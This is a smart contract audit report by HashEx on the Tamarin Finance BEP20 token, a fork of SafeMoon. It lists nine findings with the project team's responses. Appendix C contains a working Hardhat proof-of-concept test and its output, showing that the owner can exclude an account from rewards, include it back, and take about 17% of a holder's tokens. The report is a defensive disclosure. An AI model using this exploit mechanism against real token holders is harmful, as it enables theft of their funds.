HashEx

Tamarin Finance

smart contract audit report

Prepared for:

tama.finance

Authors: HashEx audit team

June 2021

Contents

Disclaimer

This is a limited report on our findings based on our analysis, in accordance with good industry practice as at the date of this report, in relation to cybersecurity vulnerabilities and issues in the framework and algorithms based on smart contracts, the details of which are set out in this report. In order to get a full view of our analysis, it is crucial for you to read the full report. While we have done our best in conducting our analysis and producing this report, it is important to note that you should not rely on this report and cannot claim against us on the basis of what it says or doesn't say, or how we produced it, and it is important for you to conduct your own independent investigations before making any decisions. We go into more detail on this in the disclaimer below – please make sure to read it in full.

DISCLAIMER: By reading this report or any part of it, you agree to the terms of this disclaimer. If you do not agree to the terms, then please immediately cease reading this report, and delete and destroy any and all copies of this report downloaded and/or printed by you. This report is provided for information purposes only and on a non-reliance basis and does not constitute investment advice. No one shall have any right to rely on the report or its contents, and HashEx and its affiliates (including holding companies, shareholders, subsidiaries, employees, directors, officers, and other representatives) (HashEx) owe no duty of care towards you or any other person, nor does HashEx make any warranty or representation to any person on the accuracy or completeness of the report. The report is provided "as is", without any conditions, warranties, or other terms of any kind except as set out in this disclaimer, and HashEx hereby excludes all representations, warranties, conditions, and other terms (including, without limitation, the warranties implied by law of satisfactory quality, fitness for purpose and the use of reasonable care and skill) which, but for this clause, might have effect in relation to the report. Except and only to the extent that it is prohibited by law, HashEx hereby excludes all liability and responsibility, and neither you nor any other person shall have any claim against HashEx, for any amount or kind of loss or damage that may result to you or any other person (including without limitation, any direct, indirect, special, punitive, consequential or pure economic loss or damages, or any loss of income, profits, goodwill, data, contracts, use of money, or business interruption, and whether in delict, tort (including without limitation negligence), contract, breach of statutory duty, misrepresentation (whether innocent or negligent) or otherwise under any claim of any nature whatsoever in any jurisdiction) in any way arising from or connected with this report and the use, inability to use or the results of the use of this report, and any reliance on this report.

The analysis of the security is purely based on the smart contracts alone. No applications or operations were reviewed for security. No product code has been reviewed.

Introduction

HashEx was commissioned by the Tamarin team to perform an audit of Tamarin's smart contracts. The audit was conducted between May 21 and May 26, 2021.

The audited code is deployed to Binance Smart Chain (BSC):
`0x0F1C6791a8b8D764c78dd54F0A151EC4D3A0c090` Tamarin.sol.
No documentation was provided.

The purpose of this audit was to achieve the following:

- Identify potential security issues with smart contracts.
- Formally check the logic behind given smart contracts.

Information in this report should be used to understand the risk exposure of smart contracts, and as a guide to improving the security posture of smart contracts by remediating the issues that were identified.
We found out that Tamarin token is based on Reflect.finance [1] custom token with an audit report available [2].

Update: Tamarin team has responded to this report. Individual responses to the high severity issues were added after each item in section.

Contracts overview

`Tamarin.sol`

Implementation of BEP20 token standard with the custom functionality of auto-yield by fees distribution on transfers.

Found issues

ID	Title	Severity	Response
01	excludeFromReward() abuse	High	Responded
02	for() loop in getCurrentSupply()	High	Responded
03	BEP20 token standard violation	Medium	Informed
04	Migration not possible	Medium	Responded
05	Swap wBNB lacks approval	Medium	Responded
06	No safeguards in setMaxTxPercent function	Low	Responded
07	License violation	Low	Informed
08	Code efficiency of Tamarin contract	Low	Informed
09	General recommendations	Low	Informed

#01 excludeFromReward() abuse High

The owner of the Tamarin contract can redistribute part of the tokens from users to a specific account. For this owner can exclude an account from the reward and include it back later. This will redistribute part of the tokens from holders in profit of the included account. The abuse mechanism can be seen in Appendix C. We suggest lock exclusion/inclusion methods by renouncing ownership.

It must be noted that the owner of the token contract is an OpenZeppelin's timelock contract, which delays the owner's transactions minimum for 24 hours which significantly reduces the attack vector.

Tamarin team response: A multisig controlled timelock is the safest configuration possible while retaining ownership. Ownership is retained to facilitate: BNB->TAMA swaps and burns, future exchange listings, and incorrectly sent token rescue. As mentioned, all interaction with the contract is fully visible for 24 hours before it can be executed.

#02 for() loop in getCurrentSupply() High

The mechanism of removing addresses from auto-yielding in Tamarin implies a loop over excluded addresses for every transfer operation or balance inquiry. This may lead to extreme gas costs up to the block gas limit and may be avoided only by the owner restricting the number of excluded addresses. In an extreme situation with a large number of excluded addresses transaction gas may exceed maximum block gas size and all transfers will be effectively blocked. Moreover, `includeAccount()` function relies on the same `for()` loop which may lead to irreversible contract malfunction.

It must be noted that the owner of the token contract is an OpenZeppelin's timelock contract and users will have a minimum 24 hours to take appropriate actions if they see malicious behaviour.

Tamarin team response: The only potential addresses to be added in the future for exclusion are exchanges or future protocol features i.e. this is not a cause for concern.

#03 BEP20 token standard violation Medium

Implementation of `transfer()` function in Tamarin L405 does not allow to input zero amount as it's demanded in the ERC-20 [6] and BEP-20 [7] standards. This issue may break the interaction with smart contracts that rely on full ERC20 support.

#04 Migration not possible — Medium

Hardcoded PancakeswapRouter address, immutable Pair address, and burned LP tokens make it impossible to upgrade or swap the swap provider.

Tamarin team response: This is intentional, we prefer that the routing and burning be totally immutable.

#05 Swap wBNB lacks approval — Medium

`swapWBNBForTokensAndBurn()` function at L502 doesn't call `approve()` function of wBNB token before performing the swap.

Tamarin team response: This is an artifact, the contract only accrues BNB which it is fully able to swap to TAMA.

#06 No safeguards in setMaxTxPercent function — Low

`function setMaxTxPercent()` lacks sanity checks for the input parameter.

Tamarin team response: While we would've liked to add this extra safety rail, this value is not currently being used (i.e. >= 100%) nor do we plan to use it.

#07 License violation — Low

The Tamarin token reuses code from the SafeMoon token that is published under `Unlicensed` identifier which does not allow free code reuse.

#08 Code efficiency of Tamarin contract — Low

Every transfer calls the `getRate()` function three times.

`removeAllFee()` and `restoreAllFee()` functions of Tamarin contract write 9 state variables for 1 transfer without fees.

Excessive computations in L415-418 and L427.

#09 General recommendations — Low

The Pragma version is not fixed, moreover, the used version makes the SafeMath library useless.

Conclusion

Reviewed contracts are deployed to BSC at:

0x0F1C6791a8b8D764c78dd54F0A151EC4D3A0c090.

The audited token contract is a fork of SafeMoon token and is based on the Reflect.finance model.

2 high severity issues were found. Issues number #01, #02, #06 can be mitigated if the accounts that manage the token contract are trusted. The token contract is very dependent on the owner's account. Also if the owner account is compromised the attacker can block all token transfers. To mitigate the issues the token contract was put under a timelock contract so every token owner's transaction will have a minimum 24 hours delay. Token holders can take appropriate actions before any erroneous or malicious transaction is mined.

Audit includes recommendations on the code improving and preventing potential attacks.

Update: Tamarin team has responded to this report. Individual responses to the high severity issues were added after each item in the section.

References

1. Reflect.finace github repo
2. Audit report for Reflect.finance
3. ERC-20 standard
4. BEP-20 standard

Appendix A. Issues' severity classification

We consider an issue critical, if it may cause unlimited losses or breaks the workflow of the contract and could be easily triggered.

High severity issues may lead to limited losses or break interaction with users or other contracts under very specific conditions.

Medium severity issues do not cause the full loss of functionality but break the contract logic.

Low severity issues are typically nonoptimal code, unused variables, errors in messages. Usually, these issues do not need immediate reactions.

Appendix B. List of examined issue types

Business logic overview

Functionality checks

Following best practices

Access control and authorization

Reentrancy attacks

Front-run attacks

DoS with (unexpected) revert

DoS with block gas limit

Transaction-ordering dependence

ERC/BEP and other standards violation

Unchecked math

Implicit visibility levels

Excessive gas usage

Timestamp dependence

Forcibly sending ether to a contract

Weak sources of randomness

Shadowing state variables

Usage of deprecated code

Appendix C. Hardhat framework test for possible abuse of excludeAccount()

Minimal modifications of token code were made to make code testable (router address is passed in constructor instead of hardcoded value).

```
  const {expect} = require("chai");
  const {formatUnits, parseEther } = ethers.utils;
  describe("Tamarin token", function () {
      it("should run exclude include attack", async function () {
          const [owner, alice, bob, charity] = await ethers.getSigners()
          const PancakeFactory = await ethers.getContractFactory("PancakeFactory");
          const factory = await PancakeFactory.deploy(owner.address);
          const initialBalance = parseEther('1000');
          const WETH = await ethers.getContractFactory("WETH9");
          const weth = await WETH.deploy();
          await owner.sendTransaction({ to: weth.address, value: initialBalance})
          const PancakeRouter = await ethers.getContractFactory("PancakeRouter")
          const router = await PancakeRouter.deploy(factory.address, weth.address)
          const Tamarin = await ethers.getContractFactory("Tamarin");
          const token = await Tamarin.deploy(router.address);
          const addLiquidityAmount = parseEther('1000');
          await token.approve(router.address, addLiquidityAmount)
          await weth.approve(router.address, addLiquidityAmount)
          await router.addLiquidity(token.address, weth.address, addLiquidityAmount,
addLiquidityAmount, 0, 0,
              owner.address, 1000000000000)
          const decimals = await token.decimals();
          const formatAmount = (amount) => formatUnits(amount, decimals)
          console.log('excluding owner from reward')
          await token.excludeFromReward(owner.address)
          let totalSupply = await token.totalSupply();
          await token.transfer(alice.address, totalSupply.div(2))
          console.log(`total supply: ${formatAmount(totalSupply)}`)
          let balance = await token.balanceOf(owner.address)
          console.log(`owner balance is: ${formatAmount(balance)}`)
          const txCount = 600
          console.log(`\nsending ${txCount} maxTxAmount transactions between users`);
          const maxTxAmount = await token._maxTxAmount();
          for(let i = 0; i < txCount; i++) {
```

```
            await token.connect(alice).transfer(bob.address, maxTxAmount)
            let bobBalance = await token.balanceOf(bob.address);
            await token.connect(bob).transfer(alice.address, bobBalance);
        }
        balance = await token.balanceOf(owner.address)
        console.log(`owner balance is: ${formatAmount(balance)}`)
        let aliceBalance = await token.balanceOf(alice.address)
        console.log(`alice balance is: ${formatAmount(aliceBalance)}`)

        console.log('\nincluding address back to reward')
        await token.includeInReward(owner.address)
        const newOwnerBalance = await token.balanceOf(owner.address)
        console.log(`owner balance is: ${formatAmount(newOwnerBalance)}`)
        let newAliceBalance = await token.balanceOf(alice.address)
        const aliceLoss = aliceBalance.sub(newAliceBalance)
        console.log(`alice balance is: ${formatAmount(newAliceBalance)}`)
        console.log(`alice loss is: ${aliceLoss.mul(100).div(aliceBalance)}% or
${formatAmount(aliceLoss)} tokens`)
        const ownerProfit = newOwnerBalance.sub(balance)
        console.log(`owner profit is: ${ownerProfit.mul(100).div(balance)}% or
${formatAmount(ownerProfit)} tokens`)
    })
});
```

Hardhat framework test output

```
  Tamarin token
excluding owner from reward
total supply: 1000000000000000.0
owner balance is: 499000000000000.0

sending 600 maxTxAmount transactions between users
owner balance is: 499000000000000.0
alice balance is: 155565386003323.968619776

including address back to reward
owner balance is: 584435684820891.325280556
alice balance is: 129036772654780.484754157
alice loss is: 17% or 26528613348543.483865619 tokens
owner profit is: 17% or 85435684820891.325280556 tokens
```
